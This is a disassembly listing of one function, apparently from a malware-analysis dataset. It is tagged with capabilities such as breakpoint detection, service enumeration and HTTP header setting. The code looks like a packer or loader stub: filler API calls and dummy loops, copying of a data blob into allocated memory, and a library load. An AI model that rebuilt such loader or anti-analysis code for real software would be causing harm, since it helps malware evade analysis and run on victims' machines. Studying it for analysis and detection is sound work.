Function at 0x40938d
Capabilities:
Check for software breakpoints
Enumerate services
Get disk information
Manipulate console buffer
Set http header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c48
call fcn.00408b40
mov eax, dword [0x434004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
xor eax, eax
cmp eax, 0x180
jne 0x4093c2
mov ecx, dword [0x4357d4]
add ecx, 0x9e49
mov dword [0x234da8c], ecx
cmp dword [0x234da8c], 0x141
jne 0x4093df
or dword [0x4363bc], 0xffffffff
mov dword [0x4363b8], 0xec58acac
inc eax
cmp eax, 0x12376ec
jl 0x4093a9
push edi
xor edi, edi
cmp edi, 0x562d05
jne 0x4093fc
mov eax, dword [0x434fe8]
mov dword [0x234da90], eax
cmp dword [0x234da8c], 0x3c
jne 0x40940d
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
inc edi
cmp edi, 0x5f6c74
jl 0x4093ea
cmp dword [0x234da8c], 0x7c
jne 0x40951c
push esi
lea eax, [ebp - 0x1804]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
lea eax, [ebp - 0x1c18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
lea eax, [ebp - 0x1c14]
push eax
push esi
lea eax, [ebp - 0x1c04]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push esi
push esi
call dword [sym.imp.ole32.dll_CoTaskMemRealloc]
push esi
push esi
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
xor eax, eax
mov word [ebp - 0x1c0c], ax
lea edi, [ebp - 0x1c0a]
stosw word es:[edi], ax
mov word [ebp - 0x1c08], ax
lea edi, [ebp - 0x1c06]
stosw word es:[edi], ax
lea eax, [ebp - 0x1c20]
push eax
push dword [ebp - 0x1c08]
lea eax, [ebp - 0x1c10]
push dword [ebp - 0x1c0c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push esi
lea eax, [ebp - 0x804]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExW]
cmp dword [0x234da8c], 0x11
jne 0x40950e
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetBoundsRect]
lea eax, [ebp - 0x1c0c]
push eax
lea eax, [ebp - 0x1c08]
push eax
push esi
lea eax, [ebp - 0x1c44]
push eax
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_EnumDependentServicesW]
push esi
call fcn.00401389
push esi
call fcn.0040139f
pop ecx
pop ecx
cmp dword [0x234da8c], 0x110a
jne 0x409586
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
push esi
push esi
push esi
push esi
mov dword [0x234d958], esi
mov dword [0x234d95c], esi
call edi
cmp dword [0x234da8c], 0xcc
jne 0x40955c
push esi
push esi
push esi
push esi
call edi
mov dword [0x4363b0], 0x14
push esi
push esi
call fcn.00401620
push esi
call fcn.004012bf
push esi
call fcn.004013aa
push esi
push esi
push esi
call fcn.0040123b
push esi
call fcn.004015d5
push esi
call fcn.004015ec
add esp, 0x24
push dword [0x234da8c]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor ecx, ecx
mov dword [0x234d7ac], eax
pop edi
cmp dword [0x234da8c], esi
jbe 0x4095e6
mov eax, dword [0x234da90]
mov dword [ebp - 0x1c08], eax
mov eax, 0x9e49
add dword [ebp - 0x1c08], eax
mov eax, dword [ebp - 0x1c08]
mov al, byte [eax + ecx]
mov edx, dword [0x234d7ac]
mov byte [edx + ecx], al
mov eax, dword [0x234da8c]
cmp eax, 0x5ab
jne 0x4095e1
mov dword [0x234d7b0], 0x19b0
inc ecx
cmp ecx, eax
jb 0x4095a3
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.0040911d
call fcn.004090ff
call fcn.0040934a
xor eax, eax
cmp eax, 0xd606b
jne 0x40960e
call fcn.004090f4
inc eax
cmp eax, 0x24e87d
jl 0x409602
mov dword [0x234d7b4], 0x8e46a6f0
cmp esi, 0x408e
jle 0x409634
cmp dword [ebp - 0x1c40], 0xf5bed7
jne 0x40963d
inc esi
cmp esi, 0x687ed2
jl 0x409620
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00401000
leave
ret